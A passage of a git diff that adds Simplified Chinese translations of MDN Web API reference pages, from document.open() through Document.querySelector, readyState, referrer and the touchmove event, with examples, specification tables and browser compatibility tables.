从Gecko 1.9.2开始,document.open() 使用文档的使用的URI的principal大,而不是从stack中取来principal。因此,你无需再在不可信的文档里调用 {{domxref("document.write()")}} ,包括使用wrappedJSObject。关于principal的更多信息详见Security check basics

+ + + +

三个参数的document.open()

+ +

有一个更少人知道且更少被使用的 document.open() 的版本,这是{{domxref("Window.open()")}} 的一个别名(前往该页面查看更多)。

+ +

这种调用,例如在新窗口打开github.com,把opener设为null

+ +
document.open('https://www.github.com','', 'noopener=true')
+
+ +

两个参数的document.open()

+ +

浏览器过往支持一个两个参数版本的document.open(),方法参数签名如下:

+ +
document.open(type, replace)
+
+ +

type指定了所需写入的数据的MIME类型,replace(如有设置,值为一个字符串“replace”)指定了新文档的历史写入会代替现有的例如写入。

+ +

这种形式现在已经弃用;它不会抛出错误,但会直接调用document.open()(相当于无参数形式的调用)。这种历史写入替换行为现在一定会发生。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
+ + + +

浏览器兼容性

+ + + +

{{Compat("api.Document.open")}}

+ +

参见

+ + + + diff --git a/files/zh-cn/web/api/document/origin/index.html b/files/zh-cn/web/api/document/origin/index.html new file mode 100644 index 0000000000..b81415ed5a --- /dev/null +++ b/files/zh-cn/web/api/document/origin/index.html @@ -0,0 +1,100 @@ +--- +title: Document.origin +slug: Web/API/Document/origin +translation_of: Web/API/Document/origin +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

Document.origin (只读属性) 返回文档的来源。通常该属性与 document.defaultView.location.origin 相等。

+ +

示例

+ +
var origin = document.origin;
+// On this page, returns:'https://developer.mozilla.org'
+
+var origin = document.origin;
+// On "about:blank", returns:'null'
+
+var origin = document.origin;
+// On "data:text/html,<b>foo</b>", returns:'null'
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}{{Spec2('DOM WHATWG')}}Initial definition.
{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(41)}}{{CompatNo}} {{bug(931884)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/plugins/index.html b/files/zh-cn/web/api/document/plugins/index.html new file mode 100644 index 0000000000..2e6f7f2ae1 --- /dev/null +++ b/files/zh-cn/web/api/document/plugins/index.html @@ -0,0 +1,52 @@ +--- +title: Document.plugins +slug: Web/API/Document/plugins +translation_of: Web/API/Document/plugins +--- +
{{APIRef("DOM")}}
+ +
{{domxref("Document")}}接口的插件只读属性返回一个{{domxref("HTMLCollection")}} 对象,该对象包含一个或多个{{domxref("HTMLEmbedElement")}}s表示当前文档中的{{HTMLElement("embed")}} 元素。
+ +
 
+ +
对于已安装的插件列表,请使用 NavigatorPlugins.plugins 插件。
+ +

语法

+ +
embedArrayObj = document.plugins
+
+ +

+ +

一个 {{domxref("HTMLCollection")}}, 如果文档中没有嵌入则为null。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}}{{ Spec2('HTML WHATWG') }} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.plugins")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/document/pointerlockchange_event/index.html b/files/zh-cn/web/api/document/pointerlockchange_event/index.html new file mode 100644 index 0000000000..86a47a3f06 --- /dev/null +++ b/files/zh-cn/web/api/document/pointerlockchange_event/index.html @@ -0,0 +1,72 @@ +--- +title: 'Document: pointerlockchange event' +slug: Web/API/Document/pointerlockchange_event +translation_of: Web/API/Document/pointerlockchange_event +--- +
{{APIRef}}
+ +

pointerlockchange 事件当指针解锁或者被锁定时触发

+ + + + + + + + + + + + + + + + + + + + +
冒泡Yes
可取消No
接口{{domxref("Event")}}
Event handler property{{domxref("Document/onpointerlockchange", "onpointerlockchange")}}
+ +

例子

+ +

使用 addEventListener():

+ +
document.addEventListener('pointerlockchange', (event) => {
+  console.log('Pointer lock changed');
+});
+ +

使用 onpointerlockchange 事件处理程序属性

+ +
document.onpointerlockchange = (event) => {
+  console.log('Pointer lock changed');
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.pointerlockchange_event")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/document/pointerlockelement/index.html b/files/zh-cn/web/api/document/pointerlockelement/index.html new file mode 100644 index 0000000000..eb6ed9cf98 --- /dev/null +++ b/files/zh-cn/web/api/document/pointerlockelement/index.html @@ -0,0 +1,105 @@ +--- +title: Document.pointerLockElement +slug: Web/API/Document/pointerLockElement +translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +--- +
{{APIRef("DOM")}}
+ +

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

+ +

语法

+ +
var element = document.pointerLockElement;
+
+ +

返回值

+ +

An {{domxref("Element")}} or null.

+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/preferredstylesheetset/index.html b/files/zh-cn/web/api/document/preferredstylesheetset/index.html new file mode 100644 index 0000000000..b567cb2bf4 --- /dev/null +++ b/files/zh-cn/web/api/document/preferredstylesheetset/index.html @@ -0,0 +1,47 @@ +--- +title: Document.preferredStyleSheetSet +slug: Web/API/Document/preferredStyleSheetSet +translation_of: Web/API/Document/preferredStyleSheetSet +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}
+ +

preferredStyleSheetSet 属性会依网页作者的喜好回传阶层样式集。

+ +

语法

+ +
preferredStyleSheetSet = document.preferredStyleSheetSet
+
+ +

preferredStyleSheetSet 指的是作者偏好的阶层样式集。内容取决于阶层样式集的次序与 Default-Style HTTP 标头内容.

+ +

如果作者没有定义偏好的阶层样式集,就会回传空白的("")字符串。

+ +

范例

+ +
if (document.preferredStyleSheetSet) {
+  console.log("The preferred style sheet set is: " + document.preferredStyleSheetSet);
+} else {
+  console.log("There is no preferred style sheet.");
+}
+
+ +

规范

+ + + +

浏览器相容性

+ + + +

{{Compat("api.Document.preferredStyleSheetSet")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/querycommandenabled/index.html b/files/zh-cn/web/api/document/querycommandenabled/index.html new file mode 100644 index 0000000000..e03eab3aff --- /dev/null +++ b/files/zh-cn/web/api/document/querycommandenabled/index.html @@ -0,0 +1,83 @@ +--- +title: Document.queryCommandEnabled() +slug: Web/API/Document/queryCommandEnabled +tags: + - CSS + - CSS参考 + - Document + - Method +translation_of: Web/API/Document/queryCommandEnabled +--- +

{{ApiRef("DOM")}}

+ +
+

注意

+该方法在部分浏览器返回的结果是不可预料的。因此,建议使用execCommand的返回值直接判断,或通过其它方式嗅探,而非使用该方法。
+ +
+ +

Document.queryCommandEnabled() 方法可查询浏览器中指定的编辑指令是否可用。

+ +

语法

+ +
var isEnabled = document.queryCommandEnabled(command);
+
+ +
+
+

参数

+
+
command
+
待查询的是否可用的指令.
+
+ +

返回值

+ +

返回 {{jsxref("Boolean")}} 值,true 表示指令可用,false表示指令不可用

+ +

备注

+ + + +

示例

+ +
var flg = document.queryCommandEnabled("SelectAll");
+
+if(flg) {
+  document.execCommand("SelectAll", false, null); // command is enabled, run it
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
说明状态描述
{{SpecName('HTML Editing','#querycommandenabled()','querycommandenabled')}}{{Spec2('HTML Editing')}}Initial definition
+ +

浏览器兼容性

+ + + +
{{Compat("api.Document.queryCommandEnabled")}}
+ +

参考资料

+ + diff --git a/files/zh-cn/web/api/document/querycommandstate/index.html b/files/zh-cn/web/api/document/querycommandstate/index.html new file mode 100644 index 0000000000..c4625f45fe --- /dev/null +++ b/files/zh-cn/web/api/document/querycommandstate/index.html @@ -0,0 +1,98 @@ +--- +title: Document.queryCommandState() +slug: Web/API/Document/queryCommandState +translation_of: Web/API/Document/queryCommandState +--- +
{{ApiRef("DOM")}}
+ +

语法

+ +
Object.queryCommandState(String command)
+
+
+ +

描述

+ +

返回 指定命令 在对象内的状态码(1表示指定命令在对象内已执行;0表示指定命令在对象内未执行,处于可执行状态;-1表示指定命令在对象内处于不可用状态)

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing','#execcommand()','execCommand')}}{{Spec2('HTML Editing')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/querycommandsupported/index.html b/files/zh-cn/web/api/document/querycommandsupported/index.html new file mode 100644 index 0000000000..de033d485c --- /dev/null +++ b/files/zh-cn/web/api/document/querycommandsupported/index.html @@ -0,0 +1,116 @@ +--- +title: Document.queryCommandSupported() +slug: Web/API/Document/queryCommandSupported +tags: + - 包括示例 + - 编辑器 +translation_of: Web/API/Document/queryCommandSupported +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

Document.queryCommandSupported() 方法确定浏览器是否支持指定的编辑指令。

+ +

语法

+ +
isSupported = document.queryCommandSupported(command);
+
+ +
+
command
+
待确定是否支持的命令。
+
+ +

如果命令不被支持,将触发 NotSupportedError 异常。

+ +

另外:

+ + + +

示例

+ +
var flg = document.queryCommandSupported("SelectAll");
+
+if(flg) {
+  // ...Do something
+}
+
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("9.0")}}4.0{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML Editing','#querycommandsupported()','querycommandsupported')}}{{Spec2('HTML Editing')}} 
+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/queryselector/index.html b/files/zh-cn/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..9e77f22412 --- /dev/null +++ b/files/zh-cn/web/api/document/queryselector/index.html @@ -0,0 +1,126 @@ +--- +title: document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS选择器 + - DOM + - querySelector + - 文档对象模型Document +translation_of: Web/API/Document/querySelector +--- +
{{ ApiRef("DOM") }}
+ +

文档对象模型{{domxref("Document")}}引用的querySelector()方法返回文档中与指定选择器或选择器组匹配的第一个 {{domxref("HTMLElement")}}对象。 如果找不到匹配项,则返回null

+ +
+

提示: 匹配是使用深度优先先序遍历,从文档标记中的第一个元素开始,并按子节点的顺序依次遍历。

+
+ +

语法

+ +
element = document.querySelector(selectors);
+ +

参数

+ +
+
selectors
+
包含一个或多个要匹配的选择器的 DOM字符串{{domxref("DOMString")}}。 该字符串必须是有效的CSS选择器字符串;如果不是,则引发SYNTAX_ERR异常。请参阅使用选择器定位DOM元素以获取有关选择器以及如何管理它们的更多信息。
+
+ +
+

提示:必须使用反斜杠字符转义不属于标准CSS语法的字符。 由于JavaScript也使用退格转义,因此在使用这些字符编写字符串文字时必须特别小心。 有关详细信息,请参阅{{anch("Escaping special characters")}}。

+
+ +

返回值

+ +

表示文档中与指定的一组CSS选择器匹配的第一个元素,一个 {{domxref("HTMLElement")}}对象。如果没有匹配到,则返回null。

+ +

如果您需要与指定选择器匹配的所有元素的列表,则应该使用{{domxref("Document.querySelectorAll", "querySelectorAll()")}} 。

+ +

异常

+ +
+
SYNTAX_ERR
+
指定selectors的语法无效。
+
+ +

注意

+ +

如果选择器是一个 ID,并且这个 ID 在文档中错误地使用了多次,那么返回第一个匹配该 ID 的元素。

+ +

CSS 伪类不会返回任何元素,见 Selectors API 中的相关规定。

+ +

转义特殊字符

+ +

如果要匹配的ID或选择器不符合 CSS 语法(比如不恰当地使用了冒号或者空格),你必须用反斜杠将这些字符转义。由于 JavaScript 中,反斜杠是转义字符,所以当你输入一个文本串时,你必须将它转义两次(一次是为 JavaScript 字符串转义,另一次是为 querySelector 转义):

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+  console.log('#foo\bar')               // "#fooar"
+  document.querySelector('#foo\bar')    // 不匹配任何元素
+
+  console.log('#foo\\bar')              // "#foo\bar"
+  console.log('#foo\\\\bar')            // "#foo\\bar"
+  document.querySelector('#foo\\\\bar') // 匹配第一个div
+
+  document.querySelector('#foo:bar')    // 不匹配任何元素
+  document.querySelector('#foo\\:bar')  // 匹配第二个div
+</script>
+
+ +

示例

+ +

查找第一个匹配 class属性的html元素

+ +

这个例子中,会返回当前文档中第一个类名为 "myclass" 的元素:

+ +
var el = document.querySelector(".myclass");
+ +

一个更复杂的选择器

+ +

选择器也可以非常强大,如以下示例所示.

+ +

这里, 一个class属性为"user-panel main"的div元素{{HTMLElement("div")}}(<div class="user-panel main">)内包含一个name属性为"login"的input元素{{HTMLElement("input")}} (<input name="login"/>) ,如何选择,如下所示:

+ +
var el = document.querySelector("div.user-panel.main input[name='login']");
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
技术规范状态说明
{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 2")}}
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}初稿
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.querySelector")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/queryselectorall/index.html b/files/zh-cn/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..0e43d6020b --- /dev/null +++ b/files/zh-cn/web/api/document/queryselectorall/index.html @@ -0,0 +1,185 @@ +--- +title: Document.querySelectorAll +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS Selectors + - DOM + - Document + - Finding Elements + - Locating Elements + - Method + - Reference + - Searching Elements + - Selecting Elements + - Selectors + - querySelectorAll +translation_of: Web/API/Document/querySelectorAll +--- +
{{ ApiRef("DOM") }}
+ +

概述

+ +

返回与指定的选择器组匹配的文档中的元素列表 (使用深度优先的先序遍历文档的节点)。返回的对象是 {{domxref("NodeList")}} 。

+ +
+

注意:此方法基于{{domxref("ParentNode")}} mixin的{{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 实现。

+
+ +

Syntax

+ +
elementList = parentNode.querySelectorAll(selectors);
+
+ +

Parameters

+ +
+
selectors
+
一个 {{domxref("DOMString")}} 包含一个或多个匹配的选择器。这个字符串必须是一个合法的 CSS selector 如果不是,会抛出一个 SyntaxError 错误。有关使用选择器标识元素的更多信息,请参阅 Locating DOM elements using selectors 可以通过使用逗号分隔多个选择器来指定它们。
+
+ +
+

注意: 必须使用反斜杠字符转义不属于标准CSS语法的字符。 由于JavaScript也使用反斜杠转义,因此在使用这些字符编写字符串文字时必须特别小心。 有关详细信息,请参阅 {{anch("Escaping special characters")}}

+
+ +

返回值

+ +

一个静态 {{domxref("NodeList")}},包含一个与至少一个指定选择器匹配的元素的{{domxref("Element")}}对象,或者在没有匹配的情况下为空{{domxref("NodeList")}}

+ +
+

注意: 如果selectors参数中包含 CSS伪元素,则返回的列表始终为空。

+
+ +

另外

+ +
+
SyntaxError
+
如果指定的 选择器 不合法,会抛出错误。如$("##div")
+
+ +

例子

+ +

获取匹配列表

+ +

要获取文档中所有{{HTMLElement("p")}}元素的{{domxref("NodeList")}}。

+ +
var matches = document.querySelectorAll("p");
+ +

此示例返回文档中所有{{HTMLElement("div")}}元素的列表,其中class包含"note"或"alert":

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+
+ +

在这里,我们得到一个<p>元素的列表,其直接父元素是一个class为"highlighted"的{{domxref("div")}},并且位于ID为"test"的容器内。

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

此示例使用属性选择器返回文档中属性名为"data-src"的{{domxref("iframe")}}元素列表:

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

这里,属性选择器用于返回ID为"userlist"的列表中包含值为"1""data-active"属性的元素

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");
+ +

访问匹配项

+ +

一旦返回匹配元素的{{domxref("NodeList")}},就可以像任何数组一样检查它。 如果数组为空(即,其length属性为0),则找不到匹配项。

+ +

否则,您只需使用标准数组方法来访问列表的内容。 您可以使用任何常见的循环语句,例如:

+ +
var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});
+ +

用户备注

+ +

querySelectorAll() 的行为与大多数常见的JavaScript DOM库不同,这可能会导致意外结果。

+ +

HTML

+ +

考虑这个HTML及其三个嵌套的{{HTMLElement("div")}}块

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

JavaScript

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, not 0!
+
+ +

在这个例子中,当在<div>上下文中选择带有"select"类的".outer .inner"时,仍然会找到类".inner"的元素,即使.outer不是基类的后代 执行搜索的元素(".select")。 默认情况下,querySelectorAll()仅验证选择器中的最后一个元素是否在搜索范围内。

+ +

{{cssxref(":scope")}} 伪类符合预期的行为,只匹配基本元素后代的选择器:

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}Living standard
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}No change
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}Initial definition
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Original definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Document.querySelectorAll")}}

+
+ +

相关连接

+ + + +

{{ languages( { "en": "en/DOM/Document.querySelectorAll"} ) }}

diff --git a/files/zh-cn/web/api/document/readystate/index.html b/files/zh-cn/web/api/document/readystate/index.html new file mode 100644 index 0000000000..cc4336dddb --- /dev/null +++ b/files/zh-cn/web/api/document/readystate/index.html @@ -0,0 +1,130 @@ +--- +title: document.readyState +slug: Web/API/Document/readyState +tags: + - API + - DOMContentLoaded + - Document.readyState + - HTML DOM + - load + - onload + - readyState + - 参考 + - 属性 +translation_of: Web/API/Document/readyState +--- +

{{APIRef("DOM")}}{{ gecko_minversion_header("1.9.2") }}

+ +

Document.readyState 属性描述了{{ domxref("document") }} 的加载状态。

+ +

当该属性值发生变化时,会在 {{domxref("document")}} 对象上触发 {{event("readystatechange")}} 事件。

+ +

语法

+ +
var string = document.readyState;
+ +

+ +

一个文档的 readyState 可以是以下之一:

+ +
+
loading(正在加载)
+
{{ domxref("document") }} 仍在加载。
+
interactive(可交互)
+
文档已被解析,"正在加载"状态结束,但是诸如图像,样式表和框架之类的子资源仍在加载。
+
complete(完成)
+
文档和所有子资源已完成加载。表示 {{event("load")}} 状态的事件即将被触发。
+
+ +

示例

+ +

不同的准备状态

+ +
switch (document.readyState) {
+  case "loading":
+    // 表示文档还在加载中,即处于“正在加载”状态。
+    break;
+  case "interactive":
+    // 文档已经结束了“正在加载”状态,DOM元素可以被访问。
+    // 但是像图像,样式表和框架等资源依然还在加载。
+    var span = document.createElement("span");
+    span.textContent = "A <span> element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // 页面所有内容都已被完全加载.
+    let CSS_rule = document.styleSheets[0].cssRules[0].cssText;
+    console.log(`The first CSS rule is: ${CSS_rule }`);
+    break;
+}
+ +

模拟 DOMContentLoaded 事件的 readystatechange

+ +
// 模拟 DOMContentLoaded/ jquery ready
+document.onreadystatechange = function () {
+  if (document.readyState === "interactive") {
+    initApplication();
+  }
+}
+ +

模拟 load 事件的 readystatechange

+ +
// 模拟 load 事件
+document.onreadystatechange = function () {
+  if (document.readyState === "complete") {
+    initApplication();
+  }
+}
+ +

在 DOMContentLoaded 之前使用 readystatechange 作为事件处理程序以插入或修改DOM

+ +
document.addEventListener('readystatechange', event => {
+  if (event.target.readyState === 'interactive') {
+    initLoader();
+  }
+  else if (event.target.readyState === 'complete') {
+    initApp();
+  }
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML WHATWG')}}
{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5 W3C')}}Initial specification.
+ +

浏览器兼容性

+ +

{{Compat("api.Document.readyState")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/referrer/index.html b/files/zh-cn/web/api/document/referrer/index.html new file mode 100644 index 0000000000..281b9dabdf --- /dev/null +++ b/files/zh-cn/web/api/document/referrer/index.html @@ -0,0 +1,38 @@ +--- +title: document.referrer +slug: Web/API/Document/referrer +tags: + - API + - Document + - 参考 + - 属性 +translation_of: Web/API/Document/referrer +--- +
{{APIRef("DOM")}}
+ +

Document.referrer 返回的是一个 URI, 当前页面就是从这个 URI 所代表的页面 跳转或打开的.

+ + + +

语法

+ +
var referrer = document.referrer;
+
+ +

+ +

如果用户直接打开了这个页面(不是通过页面跳转,而是通过地址栏或者书签等打开的),则该属性为空字符串。由于该属性只是返回一个字符串,所以不能够通过该属性引用页面的 DOM。

+ +

在{{HTMLElement("iframe")}}中,Document.referrer 会初始化为父窗口{{domxref("Window/location", "Window.location")}}的{{domxref("HTMLHyperlinkElementUtils/href", "href")}}。

+ +

规范

+ + + +

浏览器兼容性

+ + + +
{{Compat("api.Document.referrer")}}
diff --git a/files/zh-cn/web/api/document/registerelement/index.html b/files/zh-cn/web/api/document/registerelement/index.html new file mode 100644 index 0000000000..33aca04807 --- /dev/null +++ b/files/zh-cn/web/api/document/registerelement/index.html @@ -0,0 +1,66 @@ +--- +title: Document.registerElement() +slug: Web/API/Document/registerElement +tags: + - API + - DOM + - Deprecated +translation_of: Web/API/Document/registerElement +--- +

{{APIRef("DOM")}}{{Deprecated_header}}

+ +
+

警告:不建议使用document.registerElement(),请使用{{DOMxRef("CustomElementRegistry.define()","customElements.define()")}}。

+
+ +

{{draft}}

+ +

Document.registerElement() 在浏览器注册一个新的 自定义元素 ,返回一个该元素的构造函数。

+ +
+

注意这是一项正在试验的技术。你可以在支持Web Components的浏览器中使用。参考 在火狐浏览器启用Web Components 。

+
+ +

语法

+ +
var constructor = document.registerElement(tag-name, options);
+ +

参数

+ +
+
tag-name
+
自定义标签的名字。 必须含有一个连字符(-),例如 my-tag。
+
options {{optional_inline}}
+
这个参数是一个用于添加描述自定义元素原型属性和扩展的对象,以扩展现有标签。这个参数是可选的。
+
+ +

示例

+ +

这里有几个简单的例子:

+ +
var Mytag = document.registerElement('my-tag');
+
+ +

我们把新标签注册到浏览器。 Mytag 变量拥有一个构造函数,你可以像如下所示一样使用它创造一个新的my-tag元素

+ +
document.body.appendChild(new Mytag());
+ +

这样我们就插入了一个空的my-tag元素,你可以通过浏览器提供的开发者工具来找到它。如果你使用浏览器来查看源代码它是不可见的。由于现在元素并没有内容,所以我们在页面中是看不到它的。我们可以给它添加一些内容,以便在页面中看到。 下面是一种往新标签里面添加内容的方式。

+ +
var mytag = document.getElementsByTagName("my-tag")[0];
+mytag.textContent = "I am a my-tag element.";
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.registerElement")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/document/releasecapture/index.html b/files/zh-cn/web/api/document/releasecapture/index.html new file mode 100644 index 0000000000..798a7e46f3 --- /dev/null +++ b/files/zh-cn/web/api/document/releasecapture/index.html @@ -0,0 +1,20 @@ +--- +title: document.releaseCapture +slug: Web/API/Document/releaseCapture +translation_of: Web/API/Document/releaseCapture +--- +

{{ ApiRef() }}{{ gecko_minversion_header("2.0") }}

+

概述

+

如果该 document 中的一个元素之上当前启用了鼠标捕获,则释放鼠标捕获。通过调用 {{ domxref("element.setCapture()") }} 实现在一个元素上启用鼠标捕获。

+

语法

+
document.releaseCapture()
+
+

一旦释放鼠标捕获,鼠标事件将不再全部被定向到启用了鼠标捕获的元素。

+

示例

+

请参见 {{ domxref("element.setCapture()") }} 的 示例

+

规范

+

基于 Internet Explorer 的实现。

+

参见

+ diff --git a/files/zh-cn/web/api/document/rouchmove_event/index.html b/files/zh-cn/web/api/document/rouchmove_event/index.html new file mode 100644 index 0000000000..1321a0c4d2 --- /dev/null +++ b/files/zh-cn/web/api/document/rouchmove_event/index.html @@ -0,0 +1,171 @@ +--- +title: touchmove +slug: Web/API/Document/rouchmove_event +translation_of: Web/API/Document/touchmove_event +--- +
{{APIRef}}
+ +

当触点在触控平面上移动时触发touchmove事件。

+ +

常规信息

+ +
+
规范
+
Touch Events
+
接口
+
{{domxref("TouchEvent")}}
+
是否冒泡
+
Yes
+
能否取消默认行为
+
Yes
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例

+ +

这些事件的代码示例在这个页面 Touch events 中均有体现。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
